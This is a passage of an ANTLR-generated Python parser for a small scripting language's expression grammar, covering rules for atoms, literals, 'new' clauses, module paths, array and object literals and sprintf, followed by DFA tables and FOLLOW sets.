self._state.following.append(self.FOLLOW_object_decl_in_atom2002) object_decl233 = self.object_decl() self._state.following.pop() if self._state.backtracking == 0: self._adaptor.addChild(root_0, object_decl233.tree) elif alt54 == 5: # Expr.g:321:4: new_clause pass root_0 = self._adaptor.nil() self._state.following.append(self.FOLLOW_new_clause_in_atom2007) new_clause234 = self.new_clause() self._state.following.pop() if self._state.backtracking == 0: self._adaptor.addChild(root_0, new_clause234.tree) elif alt54 == 6: # Expr.g:322:4: sprintf pass root_0 = self._adaptor.nil() self._state.following.append(self.FOLLOW_sprintf_in_atom2012) sprintf235 = self.sprintf() self._state.following.pop() if self._state.backtracking == 0: self._adaptor.addChild(root_0, sprintf235.tree) elif alt54 == 7: # Expr.g:323:4: '(' expr ')' pass char_literal236 = self.match(self.input, 75, self.FOLLOW_75_in_atom2017) if self._state.backtracking == 0: stream_75.add(char_literal236) self._state.following.append(self.FOLLOW_expr_in_atom2019) expr237 = self.expr() self._state.following.pop() if self._state.backtracking == 0: stream_expr.add(expr237.tree) char_literal238 = self.match(self.input, 76, self.FOLLOW_76_in_atom2021) if self._state.backtracking == 0: stream_76.add(char_literal238) # AST Rewrite # elements: expr # token labels: # rule labels: retval # token list labels: # rule list labels: # wildcard labels: if self._state.backtracking == 0: retval.tree = root_0 if retval is not None: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "rule retval", retval.tree) else: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "token retval", None) root_0 = self._adaptor.nil() # 323:17: -> expr self._adaptor.addChild(root_0, stream_expr.nextTree()) retval.tree = root_0 retval.stop = self.input.LT(-1) if self._state.backtracking == 0: retval.tree = self._adaptor.rulePostProcessing(root_0) self._adaptor.setTokenBoundaries(retval.tree, retval.start, retval.stop) except RecognitionException, re: self.reportError(re) self.recover(self.input, re) retval.tree = self._adaptor.errorNode(self.input, retval.start, self.input.LT(-1), re) finally: pass return retval # $ANTLR end "atom" class literal_return(ParserRuleReturnScope): def __init__(self): super(ExprParser.literal_return, self).__init__() self.tree = None # $ANTLR start "literal" # Expr.g:325:1: literal : ( BOOL | NULL | INT | FLOAT | STRING ); def literal(self, ): retval = self.literal_return() retval.start = self.input.LT(1) root_0 = None set239 = None set239_tree = None try: try: # Expr.g:326:2: ( BOOL | NULL | INT | FLOAT | STRING ) # Expr.g: pass root_0 = self._adaptor.nil() set239 = self.input.LT(1) if self.input.LA(1) == BOOL or self.input.LA(1) == FLOAT or self.input.LA(1) == INT or self.input.LA(1) == NULL or self.input.LA(1) == STRING: self.input.consume() if self._state.backtracking == 0: self._adaptor.addChild(root_0, self._adaptor.createWithPayload(set239)) self._state.errorRecovery = False else: if self._state.backtracking > 0: raise BacktrackingFailed mse = MismatchedSetException(None, self.input) raise mse retval.stop = self.input.LT(-1) if self._state.backtracking == 0: retval.tree = self._adaptor.rulePostProcessing(root_0) self._adaptor.setTokenBoundaries(retval.tree, retval.start, retval.stop) except RecognitionException, re: self.reportError(re) self.recover(self.input, re) retval.tree = self._adaptor.errorNode(self.input, retval.start, self.input.LT(-1), re) finally: pass return retval # $ANTLR end "literal" class new_clause_return(ParserRuleReturnScope): def __init__(self): super(ExprParser.new_clause_return, self).__init__() self.tree = None # $ANTLR start "new_clause" # Expr.g:329:1: new_clause : 'new' module call_expr -> ^( NEW module call_expr ) ; def new_clause(self, ): retval = self.new_clause_return() retval.start = self.input.LT(1) root_0 = None string_literal240 = None module241 = None call_expr242 = None string_literal240_tree = None stream_121 = RewriteRuleTokenStream(self._adaptor, "token 121") stream_module = RewriteRuleSubtreeStream(self._adaptor, "rule module") stream_call_expr = RewriteRuleSubtreeStream(self._adaptor, "rule call_expr") try: try: # Expr.g:330:2: ( 'new' module call_expr -> ^( NEW module call_expr ) ) # Expr.g:330:4: 'new' module call_expr pass string_literal240 = self.match(self.input, 121, self.FOLLOW_121_in_new_clause2062) if self._state.backtracking == 0: stream_121.add(string_literal240) self._state.following.append(self.FOLLOW_module_in_new_clause2064) module241 = self.module() self._state.following.pop() if self._state.backtracking == 0: stream_module.add(module241.tree) self._state.following.append(self.FOLLOW_call_expr_in_new_clause2066) call_expr242 = self.call_expr() self._state.following.pop() if self._state.backtracking == 0: stream_call_expr.add(call_expr242.tree) # AST Rewrite # elements: module, call_expr # token labels: # rule labels: retval # token list labels: # rule list labels: # wildcard labels: if self._state.backtracking == 0: retval.tree = root_0 if retval is not None: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "rule retval", retval.tree) else: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "token retval", None) root_0 = self._adaptor.nil() # 331:3: -> ^( NEW module call_expr ) # Expr.g:331:6: ^( NEW module call_expr ) root_1 = self._adaptor.nil() root_1 = self._adaptor.becomeRoot( self._adaptor.createFromType(NEW, "NEW") , root_1) self._adaptor.addChild(root_1, stream_module.nextTree()) self._adaptor.addChild(root_1, stream_call_expr.nextTree()) self._adaptor.addChild(root_0, root_1) retval.tree = root_0 retval.stop = self.input.LT(-1) if self._state.backtracking == 0: retval.tree = self._adaptor.rulePostProcessing(root_0) self._adaptor.setTokenBoundaries(retval.tree, retval.start, retval.stop) except RecognitionException, re: self.reportError(re) self.recover(self.input, re) retval.tree = self._adaptor.errorNode(self.input, retval.start, self.input.LT(-1), re) finally: pass return retval # $ANTLR end "new_clause" class module_return(ParserRuleReturnScope): def __init__(self): super(ExprParser.module_return, self).__init__() self.tree = None # $ANTLR start "module" # Expr.g:333:1: module : ID ( '.' ID )* -> ^( MODULE ( ID )+ ) ; def module(self, ): retval = self.module_return() retval.start = self.input.LT(1) root_0 = None ID243 = None char_literal244 = None ID245 = None ID243_tree = None char_literal244_tree = None ID245_tree = None stream_ID = RewriteRuleTokenStream(self._adaptor, "token ID") stream_86 = RewriteRuleTokenStream(self._adaptor, "token 86") try: try: # Expr.g:334:2: ( ID ( '.' ID )* -> ^( MODULE ( ID )+ ) ) # Expr.g:334:4: ID ( '.' ID )* pass ID243 = self.match(self.input, ID, self.FOLLOW_ID_in_module2088) if self._state.backtracking == 0: stream_ID.add(ID243) # Expr.g:334:7: ( '.' ID )* while True: #loop55 alt55 = 2 LA55_0 = self.input.LA(1) if (LA55_0 == 86) : alt55 = 1 if alt55 == 1: # Expr.g:334:8: '.' ID pass char_literal244 = self.match(self.input, 86, self.FOLLOW_86_in_module2091) if self._state.backtracking == 0: stream_86.add(char_literal244) ID245 = self.match(self.input, ID, self.FOLLOW_ID_in_module2093) if self._state.backtracking == 0: stream_ID.add(ID245) else: break #loop55 # AST Rewrite # elements: ID # token labels: # rule labels: retval # token list labels: # rule list labels: # wildcard labels: if self._state.backtracking == 0: retval.tree = root_0 if retval is not None: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "rule retval", retval.tree) else: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "token retval", None) root_0 = self._adaptor.nil() # 335:3: -> ^( MODULE ( ID )+ ) # Expr.g:335:6: ^( MODULE ( ID )+ ) root_1 = self._adaptor.nil() root_1 = self._adaptor.becomeRoot( self._adaptor.createFromType(MODULE, "MODULE") , root_1) # Expr.g:335:15: ( ID )+ if not (stream_ID.hasNext()): raise RewriteEarlyExitException() while stream_ID.hasNext(): self._adaptor.addChild(root_1, stream_ID.nextNode() ) stream_ID.reset() self._adaptor.addChild(root_0, root_1) retval.tree = root_0 retval.stop = self.input.LT(-1) if self._state.backtracking == 0: retval.tree = self._adaptor.rulePostProcessing(root_0) self._adaptor.setTokenBoundaries(retval.tree, retval.start, retval.stop) except RecognitionException, re: self.reportError(re) self.recover(self.input, re) retval.tree = self._adaptor.errorNode(self.input, retval.start, self.input.LT(-1), re) finally: pass return retval # $ANTLR end "module" class array_decl_return(ParserRuleReturnScope): def __init__(self): super(ExprParser.array_decl_return, self).__init__() self.tree = None # $ANTLR start "array_decl" # Expr.g:339:1: array_decl : '[' ( expr_list )? ']' -> ^( ARRAY ( expr_list )? ) ; def array_decl(self, ): retval = self.array_decl_return() retval.start = self.input.LT(1) root_0 = None char_literal246 = None char_literal248 = None expr_list247 = None char_literal246_tree = None char_literal248_tree = None stream_101 = RewriteRuleTokenStream(self._adaptor, "token 101") stream_100 = RewriteRuleTokenStream(self._adaptor, "token 100") stream_expr_list = RewriteRuleSubtreeStream(self._adaptor, "rule expr_list") try: try: # Expr.g:340:2: ( '[' ( expr_list )? ']' -> ^( ARRAY ( expr_list )? ) ) # Expr.g:340:4: '[' ( expr_list )? ']' pass char_literal246 = self.match(self.input, 100, self.FOLLOW_100_in_array_decl2118) if self._state.backtracking == 0: stream_100.add(char_literal246) # Expr.g:340:8: ( expr_list )? alt56 = 2 LA56_0 = self.input.LA(1) if (LA56_0 == BOOL or LA56_0 == FLOAT or LA56_0 == ID or LA56_0 == INT or LA56_0 == NULL or LA56_0 == STRING or LA56_0 == 68 or LA56_0 == 75 or LA56_0 == 83 or LA56_0 == 100 or LA56_0 == 121 or LA56_0 == 126 or LA56_0 == 132) : alt56 = 1 if alt56 == 1: # Expr.g:340:8: expr_list pass self._state.following.append(self.FOLLOW_expr_list_in_array_decl2120) expr_list247 = self.expr_list() self._state.following.pop() if self._state.backtracking == 0: stream_expr_list.add(expr_list247.tree) char_literal248 = self.match(self.input, 101, self.FOLLOW_101_in_array_decl2123) if self._state.backtracking == 0: stream_101.add(char_literal248) # AST Rewrite # elements: expr_list # token labels: # rule labels: retval # token list labels: # rule list labels: # wildcard labels: if self._state.backtracking == 0: retval.tree = root_0 if retval is not None: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "rule retval", retval.tree) else: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "token retval", None) root_0 = self._adaptor.nil() # 341:3: -> ^( ARRAY ( expr_list )? ) # Expr.g:341:6: ^( ARRAY ( expr_list )? ) root_1 = self._adaptor.nil() root_1 = self._adaptor.becomeRoot( self._adaptor.createFromType(ARRAY, "ARRAY") , root_1) # Expr.g:341:14: ( expr_list )? if stream_expr_list.hasNext(): self._adaptor.addChild(root_1, stream_expr_list.nextTree()) stream_expr_list.reset(); self._adaptor.addChild(root_0, root_1) retval.tree = root_0 retval.stop = self.input.LT(-1) if self._state.backtracking == 0: retval.tree = self._adaptor.rulePostProcessing(root_0) self._adaptor.setTokenBoundaries(retval.tree, retval.start, retval.stop) except RecognitionException, re: self.reportError(re) self.recover(self.input, re) retval.tree = self._adaptor.errorNode(self.input, retval.start, self.input.LT(-1), re) finally: pass return retval # $ANTLR end "array_decl" class object_decl_return(ParserRuleReturnScope): def __init__(self): super(ExprParser.object_decl_return, self).__init__() self.tree = None # $ANTLR start "object_decl" # Expr.g:344:1: object_decl : '{' ( property )? ( ',' property )* ( ',' )? '}' -> ^( OBJECT ( property )* ) ; def object_decl(self, ): retval = self.object_decl_return() retval.start = self.input.LT(1) root_0 = None char_literal249 = None char_literal251 = None char_literal253 = None char_literal254 = None property250 = None property252 = None char_literal249_tree = None char_literal251_tree = None char_literal253_tree = None char_literal254_tree = None stream_132 = RewriteRuleTokenStream(self._adaptor, "token 132") stream_136 = RewriteRuleTokenStream(self._adaptor, "token 136") stream_82 = RewriteRuleTokenStream(self._adaptor, "token 82") stream_property = RewriteRuleSubtreeStream(self._adaptor, "rule property") try: try: # Expr.g:345:2: ( '{' ( property )? ( ',' property )* ( ',' )? '}' -> ^( OBJECT ( property )* ) ) # Expr.g:345:4: '{' ( property )? ( ',' property )* ( ',' )? '}' pass char_literal249 = self.match(self.input, 132, self.FOLLOW_132_in_object_decl2145) if self._state.backtracking == 0: stream_132.add(char_literal249) # Expr.g:345:8: ( property )? alt57 = 2 LA57_0 = self.input.LA(1) if (LA57_0 == ID or LA57_0 == INT or LA57_0 == STRING) : alt57 = 1 if alt57 == 1: # Expr.g:345:8: property pass self._state.following.append(self.FOLLOW_property_in_object_decl2147) property250 = self.property() self._state.following.pop() if self._state.backtracking == 0: stream_property.add(property250.tree) # Expr.g:345:18: ( ',' property )* while True: #loop58 alt58 = 2 LA58_0 = self.input.LA(1) if (LA58_0 == 82) : LA58_1 = self.input.LA(2) if (LA58_1 == ID or LA58_1 == INT or LA58_1 == STRING) : alt58 = 1 if alt58 == 1: # Expr.g:345:19: ',' property pass char_literal251 = self.match(self.input, 82, self.FOLLOW_82_in_object_decl2151) if self._state.backtracking == 0: stream_82.add(char_literal251) self._state.following.append(self.FOLLOW_property_in_object_decl2153) property252 = self.property() self._state.following.pop() if self._state.backtracking == 0: stream_property.add(property252.tree) else: break #loop58 # Expr.g:345:34: ( ',' )? alt59 = 2 LA59_0 = self.input.LA(1) if (LA59_0 == 82) : alt59 = 1 if alt59 == 1: # Expr.g:345:34: ',' pass char_literal253 = self.match(self.input, 82, self.FOLLOW_82_in_object_decl2157) if self._state.backtracking == 0: stream_82.add(char_literal253) char_literal254 = self.match(self.input, 136, self.FOLLOW_136_in_object_decl2160) if self._state.backtracking == 0: stream_136.add(char_literal254) # AST Rewrite # elements: property # token labels: # rule labels: retval # token list labels: # rule list labels: # wildcard labels: if self._state.backtracking == 0: retval.tree = root_0 if retval is not None: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "rule retval", retval.tree) else: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "token retval", None) root_0 = self._adaptor.nil() # 346:3: -> ^( OBJECT ( property )* ) # Expr.g:346:6: ^( OBJECT ( property )* ) root_1 = self._adaptor.nil() root_1 = self._adaptor.becomeRoot( self._adaptor.createFromType(OBJECT, "OBJECT") , root_1) # Expr.g:346:15: ( property )* while stream_property.hasNext(): self._adaptor.addChild(root_1, stream_property.nextTree()) stream_property.reset(); self._adaptor.addChild(root_0, root_1) retval.tree = root_0 retval.stop = self.input.LT(-1) if self._state.backtracking == 0: retval.tree = self._adaptor.rulePostProcessing(root_0) self._adaptor.setTokenBoundaries(retval.tree, retval.start, retval.stop) except RecognitionException, re: self.reportError(re) self.recover(self.input, re) retval.tree = self._adaptor.errorNode(self.input, retval.start, self.input.LT(-1), re) finally: pass return retval # $ANTLR end "object_decl" class property_return(ParserRuleReturnScope): def __init__(self): super(ExprParser.property_return, self).__init__() self.tree = None # $ANTLR start "property" # Expr.g:348:1: property : ( ID | STRING | INT ) ':' expr ; def property(self, ): retval = self.property_return() retval.start = self.input.LT(1) root_0 = None set255 = None char_literal256 = None expr257 = None set255_tree = None char_literal256_tree = None try: try: # Expr.g:349:2: ( ( ID | STRING | INT ) ':' expr ) # Expr.g:349:4: ( ID | STRING | INT ) ':' expr pass root_0 = self._adaptor.nil() set255 = self.input.LT(1) if self.input.LA(1) == ID or self.input.LA(1) == INT or self.input.LA(1) == STRING: self.input.consume() if self._state.backtracking == 0: self._adaptor.addChild(root_0, self._adaptor.createWithPayload(set255)) self._state.errorRecovery = False else: if self._state.backtracking > 0: raise BacktrackingFailed mse = MismatchedSetException(None, self.input) raise mse char_literal256 = self.match(self.input, 91, self.FOLLOW_91_in_property2193) if self._state.backtracking == 0: char_literal256_tree = self._adaptor.createWithPayload(char_literal256) self._adaptor.addChild(root_0, char_literal256_tree) self._state.following.append(self.FOLLOW_expr_in_property2195) expr257 = self.expr() self._state.following.pop() if self._state.backtracking == 0: self._adaptor.addChild(root_0, expr257.tree) retval.stop = self.input.LT(-1) if self._state.backtracking == 0: retval.tree = self._adaptor.rulePostProcessing(root_0) self._adaptor.setTokenBoundaries(retval.tree, retval.start, retval.stop) except RecognitionException, re: self.reportError(re) self.recover(self.input, re) retval.tree = self._adaptor.errorNode(self.input, retval.start, self.input.LT(-1), re) finally: pass return retval # $ANTLR end "property" class sprintf_return(ParserRuleReturnScope): def __init__(self): super(ExprParser.sprintf_return, self).__init__() self.tree = None # $ANTLR start "sprintf" # Expr.g:353:1: sprintf : 'sprintf' '(' expr ( ',' expr_list )? ')' -> ^( SPRINTF expr ( expr_list )? ) ; def sprintf(self, ): retval = self.sprintf_return() retval.start = self.input.LT(1) root_0 = None string_literal258 = None char_literal259 = None char_literal261 = None char_literal263 = None expr260 = None expr_list262 = None string_literal258_tree = None char_literal259_tree = None char_literal261_tree = None char_literal263_tree = None stream_126 = RewriteRuleTokenStream(self._adaptor, "token 126") stream_82 = RewriteRuleTokenStream(self._adaptor, "token 82") stream_75 = RewriteRuleTokenStream(self._adaptor, "token 75") stream_76 = RewriteRuleTokenStream(self._adaptor, "token 76") stream_expr = RewriteRuleSubtreeStream(self._adaptor, "rule expr") stream_expr_list = RewriteRuleSubtreeStream(self._adaptor, "rule expr_list") try: try: # Expr.g:354:2: ( 'sprintf' '(' expr ( ',' expr_list )? ')' -> ^( SPRINTF expr ( expr_list )? ) ) # Expr.g:354:4: 'sprintf' '(' expr ( ',' expr_list )? ')' pass string_literal258 = self.match(self.input, 126, self.FOLLOW_126_in_sprintf2207) if self._state.backtracking == 0: stream_126.add(string_literal258) char_literal259 = self.match(self.input, 75, self.FOLLOW_75_in_sprintf2209) if self._state.backtracking == 0: stream_75.add(char_literal259) self._state.following.append(self.FOLLOW_expr_in_sprintf2211) expr260 = self.expr() self._state.following.pop() if self._state.backtracking == 0: stream_expr.add(expr260.tree) # Expr.g:354:23: ( ',' expr_list )? alt60 = 2 LA60_0 = self.input.LA(1) if (LA60_0 == 82) : alt60 = 1 if alt60 == 1: # Expr.g:354:24: ',' expr_list pass char_literal261 = self.match(self.input, 82, self.FOLLOW_82_in_sprintf2214) if self._state.backtracking == 0: stream_82.add(char_literal261) self._state.following.append(self.FOLLOW_expr_list_in_sprintf2216) expr_list262 = self.expr_list() self._state.following.pop() if self._state.backtracking == 0: stream_expr_list.add(expr_list262.tree) char_literal263 = self.match(self.input, 76, self.FOLLOW_76_in_sprintf2220) if self._state.backtracking == 0: stream_76.add(char_literal263) # AST Rewrite # elements: expr_list, expr # token labels: # rule labels: retval # token list labels: # rule list labels: # wildcard labels: if self._state.backtracking == 0: retval.tree = root_0 if retval is not None: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "rule retval", retval.tree) else: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "token retval", None) root_0 = self._adaptor.nil() # 355:3: -> ^( SPRINTF expr ( expr_list )? ) # Expr.g:355:6: ^( SPRINTF expr ( expr_list )? ) root_1 = self._adaptor.nil() root_1 = self._adaptor.becomeRoot( self._adaptor.createFromType(SPRINTF, "SPRINTF") , root_1) self._adaptor.addChild(root_1, stream_expr.nextTree()) # Expr.g:355:21: ( expr_list )? if stream_expr_list.hasNext(): self._adaptor.addChild(root_1, stream_expr_list.nextTree()) stream_expr_list.reset(); self._adaptor.addChild(root_0, root_1) retval.tree = root_0 retval.stop = self.input.LT(-1) if self._state.backtracking == 0: retval.tree = self._adaptor.rulePostProcessing(root_0) self._adaptor.setTokenBoundaries(retval.tree, retval.start, retval.stop) except RecognitionException, re: self.reportError(re) self.recover(self.input, re) retval.tree = self._adaptor.errorNode(self.input, retval.start, self.input.LT(-1), re) finally: pass return retval # $ANTLR end "sprintf" # $ANTLR start "synpred1_Expr" def synpred1_Expr_fragment(self, ): # Expr.g:232:4: ( '[' expr ']' ) # Expr.g:232:4: '[' expr ']' pass root_0 = self._adaptor.nil() self.match(self.input, 100, self.FOLLOW_100_in_synpred1_Expr1439) self._state.following.append(self.FOLLOW_expr_in_synpred1_Expr1441) self.expr() self._state.following.pop() self.match(self.input, 101, self.FOLLOW_101_in_synpred1_Expr1443) # $ANTLR end "synpred1_Expr" def synpred1_Expr(self): self._state.backtracking += 1 start = self.input.mark() try: self.synpred1_Expr_fragment() except BacktrackingFailed: success = False else: success = True self.input.rewind(start) self._state.backtracking -= 1 return success # lookup tables for DFA #6 DFA6_eot = DFA.unpack( u"\6\uffff" ) DFA6_eof = DFA.unpack( u"\6\uffff" ) DFA6_min = DFA.unpack( u"\1\42\1\122\1\42\2\uffff\1\122" ) DFA6_max = DFA.unpack( u"\1\42\1\134\1\42\2\uffff\1\134" ) DFA6_accept = DFA.unpack( u"\3\uffff\1\1\1\2\1\uffff" ) DFA6_special = DFA.unpack( u"\6\uffff" ) DFA6_transition = [ DFA.unpack(u"\1\1"), DFA.unpack(u"\1\3\3\uffff\1\2\1\4\4\uffff\1\3"), DFA.unpack(u"\1\5"), DFA.unpack(u""), DFA.unpack(u""), DFA.unpack(u"\1\3\3\uffff\1\2\1\4\4\uffff\1\3") ] # class definition for DFA #6 class DFA6(DFA): pass FOLLOW_EOF_in_prog211 = frozenset([1]) FOLLOW_stmt_in_prog220 = frozenset([1, 34, 80, 84, 92, 105, 108, 109, 111, 115, 116, 117, 118, 119, 122, 123, 125, 128, 129, 130, 131]) FOLLOW_92_in_stmt232 = frozenset([1]) FOLLOW_exec_stmt_in_stmt239 = frozenset([1]) FOLLOW_import_stmt_in_stmt244 = frozenset([1]) FOLLOW_print_stmt_in_stmt249 = frozenset([1]) FOLLOW_printf_stmt_in_stmt253 = frozenset([1]) FOLLOW_break_stmt_in_stmt258 = frozenset([1]) FOLLOW_continue_stmt_in_stmt263 = frozenset([1]) FOLLOW_return_stmt_in_stmt268 = frozenset([1]) FOLLOW_if_stmt_in_stmt273 = frozenset([1]) FOLLOW_while_stmt_in_stmt278 = frozenset([1]) FOLLOW_do_while_stmt_in_stmt283 = frozenset([1]) FOLLOW_switch_stmt_in_stmt288 = frozenset([1]) FOLLOW_for_stmt_in_stmt293 = frozenset([1]) FOLLOW_foreach_stmt_in_stmt298 = frozenset([1]) FOLLOW_throw_stmt_in_stmt303 = frozenset([1]) FOLLOW_try_stmt_in_stmt308 = frozenset([1]) FOLLOW_func_decl_in_stmt313 = frozenset([1]) FOLLOW_class_decl_in_stmt318 = frozenset([1]) FOLLOW_132_in_block331 = frozenset([34, 80, 84, 92, 105, 108, 109, 111, 115, 116, 117, 118, 119, 122, 123, 125, 128, 129, 130, 131, 136]) FOLLOW_stmt_in_block333 = frozenset([34, 80, 84, 92, 105, 108, 109, 111, 115, 116, 117, 118, 119, 122, 123, 125, 128, 129, 130, 131, 136]) FOLLOW_136_in_block336 = frozenset([1]) FOLLOW_119_in_import_stmt358 = frozenset([34]) FOLLOW_module_path_in_import_stmt360 = frozenset([82, 92]) FOLLOW_82_in_import_stmt363 = frozenset([34]) FOLLOW_module_path_in_import_stmt365 = frozenset([82, 92]) FOLLOW_92_in_import_stmt369 = frozenset([1]) FOLLOW_module_in_module_path390 = frozenset([1]) FOLLOW_module_in_module_path395 = frozenset([87]) FOLLOW_87_in_module_path397 = frozenset([1]) FOLLOW_123_in_printf_stmt408 = frozenset([75]) FOLLOW_75_in_printf_stmt410 = frozenset([8, 30, 34, 39, 47, 61, 68, 75, 83, 100, 121, 126, 132]) FOLLOW_expr_in_printf_stmt412 = frozenset([76, 82]) FOLLOW_82_in_printf_stmt415 = frozenset([8, 30, 34, 39, 47, 61, 68, 75, 83, 100, 121, 126, 132]) FOLLOW_expr_list_in_printf_stmt417 = frozenset([76]) FOLLOW_76_in_printf_stmt421 = frozenset([92]) FOLLOW_92_in_printf_stmt423 = frozenset([1]) FOLLOW_122_in_print_stmt452 = frozenset([8, 30, 34, 39, 47, 61, 68, 75, 83, 100, 121, 126, 132]) FOLLOW_expr_list_in_print_stmt455 = frozenset([92]) FOLLOW_92_in_print_stmt457 = frozenset([1]) FOLLOW_105_in_break_stmt478 = frozenset([92]) FOLLOW_92_in_break_stmt480 = frozenset([1]) FOLLOW_109_in_continue_stmt496 = frozenset([92]) FOLLOW_92_in_continue_stmt498 = frozenset([1]) FOLLOW_125_in_return_stmt514 = frozenset([8, 30, 34, 39, 47, 61, 68, 75, 83, 92, 100, 121, 126, 132]) FOLLOW_expr_in_return_stmt516 = frozenset([92]) FOLLOW_92_in_return_stmt519 = frozenset([1]) FOLLOW_if_clause_in_if_stmt541 = frozenset([1, 112]) FOLLOW_else_if_clause_in_if_stmt543 = frozenset([1, 112]) FOLLOW_else_clause_in_if_stmt546 = frozenset([1]) FOLLOW_118_in_if_clause557 = frozenset([75]) FOLLOW_75_in_if_clause559 = frozenset([8, 30, 34, 39, 47, 61, 68, 75, 83, 100, 121, 126, 132]) FOLLOW_expr_in_if_clause561 = frozenset([76]) FOLLOW_76_in_if_clause563 = frozenset([132]) FOLLOW_block_in_if_clause565 = frozenset([1]) FOLLOW_112_in_else_if_clause587 = frozenset([118]) FOLLOW_if_clause_in_else_if_clause589 = frozenset([1]) FOLLOW_112_in_else_clause609 = frozenset([132]) FOLLOW_block_in_else_clause611 = frozenset([1]) FOLLOW_131_in_while_stmt632 = frozenset([75]) FOLLOW_75_in_while_stmt634 = frozenset([8, 30, 34, 39, 47, 61, 68, 75, 83, 100, 121, 126, 132]) FOLLOW_expr_in_while_stmt636 = frozenset([76]) FOLLOW_76_in_while_stmt638 = frozenset([132]) FOLLOW_block_in_while_stmt640 = frozenset([1]) FOLLOW_111_in_do_while_stmt663 = frozenset([132]) FOLLOW_block_in_do_while_stmt665 = frozenset([131]) FOLLOW_131_in_do_while_stmt667 = frozenset([75]) FOLLOW_75_in_do_while_stmt669 = frozenset([8, 30, 34, 39, 47, 61, 68, 75, 83, 100, 121, 126, 132]) FOLLOW_expr_in_do_while_stmt671 = frozenset([76]) FOLLOW_76_in_do_while_stmt673 = frozenset([92]) FOLLOW_92_in_do_while_stmt675 = frozenset([1]) FOLLOW_128_in_switch_stmt698 = frozenset([75]) FOLLOW_75_in_switch_stmt700 = frozenset([8, 30, 34, 39, 47, 61, 68, 75, 83, 100, 121, 126, 132]) FOLLOW_expr_in_switch_stmt702 = frozenset([76]) FOLLOW_76_in_switch_stmt704 = frozenset([132]) FOLLOW_case_block_in_switch_stmt706 = frozenset([1]) FOLLOW_132_in_case_block728 = frozenset([106]) FOLLOW_case_clause_in_case_block731 = frozenset([106, 110, 136]) FOLLOW_default_clause_in_case_block736 = frozenset([136]) FOLLOW_136_in_case_block740 = frozenset([1]) FOLLOW_case_test_in_case_clause750 = frozenset([34, 80, 84, 92, 105, 106, 108, 109, 111, 115, 116, 117, 118, 119, 122, 123, 125, 128, 129, 130, 131]) FOLLOW_stmt_in_case_clause753 = frozenset([34, 80, 84, 92, 105, 108, 109, 111, 115, 116, 117, 118, 119, 122, 123, 125, 128, 129, 130, 131]) FOLLOW_break_stmt_in_case_clause756 = frozenset([1]) FOLLOW_106_in_case_test782 = frozenset([8, 30, 34, 39, 47, 61, 68, 75, 83, 100, 121, 126, 132]) FOLLOW_expr_in_case_test784 = frozenset([91]) FOLLOW_91_in_case_test786 = frozenset([1]) FOLLOW_110_in_default_clause806 = frozenset([91]) FOLLOW_91_in_default_clause808 = frozenset([1, 34, 80, 84, 92, 105, 108, 109, 111, 115, 116, 117, 118, 119, 122, 123, 125, 128, 129, 130, 131]) FOLLOW_stmt_in_default_clause810 = frozenset([1, 34, 80, 84, 92, 105, 108, 109, 111, 115, 116, 117, 118, 119, 122, 123, 125, 128, 129, 130, 131]) FOLLOW_115_in_for_stmt833 = frozenset([75]) FOLLOW_75_in_for_stmt835 = frozenset([34, 80, 84, 92]) FOLLOW_exec_list_in_for_stmt839 = frozenset([92]) FOLLOW_92_in_for_stmt842 = frozenset([8, 30, 34, 39, 47, 61, 68, 75, 83, 100, 121, 126, 132]) FOLLOW_expr_in_for_stmt844 = frozenset([92]) FOLLOW_92_in_for_stmt846 = frozenset([34, 76, 80, 84]) FOLLOW_exec_list_in_for_stmt850 = frozenset([76]) FOLLOW_76_in_for_stmt853 = frozenset([132]) FOLLOW_block_in_for_stmt855 = frozenset([1]) FOLLOW_116_in_foreach_stmt886 = frozenset([75]) FOLLOW_75_in_foreach_stmt888 = frozenset([8, 30, 34, 39, 47, 61, 68, 75, 83, 100, 121, 126, 132]) FOLLOW_expr_in_foreach_stmt890 = frozenset([104]) FOLLOW_104_in_foreach_stmt892 = frozenset([34]) FOLLOW_each_in_foreach_stmt894 = frozenset([76]) FOLLOW_76_in_foreach_stmt896 = frozenset([132]) FOLLOW_block_in_foreach_stmt898 = frozenset([1]) FOLLOW_each_val_in_each922 = frozenset([1]) FOLLOW_ID_in_each937 = frozenset([97]) FOLLOW_97_in_each939 = frozenset([34]) FOLLOW_each_val_in_each941 = frozenset([1]) FOLLOW_ID_in_each_val963 = frozenset([1, 82]) FOLLOW_82_in_each_val966 = frozenset([34]) FOLLOW_ID_in_each_val968 = frozenset([1, 82]) FOLLOW_129_in_throw_stmt993 = frozenset([8, 30, 34, 39, 47, 61, 68, 75, 83, 100, 121, 126, 132]) FOLLOW_expr_in_throw_stmt995 = frozenset([92]) FOLLOW_92_in_throw_stmt997 = frozenset([1]) FOLLOW_130_in_try_stmt1017 = frozenset([132]) FOLLOW_block_in_try_stmt1019 = frozenset([107]) FOLLOW_catch_clause_in_try_stmt1021 = frozenset([1, 107, 114]) FOLLOW_finally_clause_in_try_stmt1024 = frozenset([1]) FOLLOW_107_in_catch_clause1051 = frozenset([75]) FOLLOW_75_in_catch_clause1053 = frozenset([34]) FOLLOW_module_in_catch_clause1055 = frozenset([34, 76]) FOLLOW_ID_in_catch_clause1057 = frozenset([76]) FOLLOW_76_in_catch_clause1060 = frozenset([132]) FOLLOW_block_in_catch_clause1062 = frozenset([1]) FOLLOW_114_in_finally_clause1087 = frozenset([132]) FOLLOW_block_in_finally_clause1089 = frozenset([1]) FOLLOW_117_in_func_decl1111 = frozenset([34]) FOLLOW_ID_in_func_decl1113 = frozenset([75]) FOLLOW_params_in_func_decl1115 = frozenset([132]) FOLLOW_block_in_func_decl1117 = frozenset([1]) FOLLOW_75_in_params1141 = frozenset([34, 76, 82]) FOLLOW_param_decl_in_params1143 = frozenset([76, 82]) FOLLOW_82_in_params1147 = frozenset([34]) FOLLOW_param_decl_in_params1149 = frozenset([76, 82]) FOLLOW_76_in_params1153 = frozenset([1]) FOLLOW_ID_in_param_decl1174 = frozenset([1, 95]) FOLLOW_95_in_param_decl1177 = frozenset([8, 30, 34, 39, 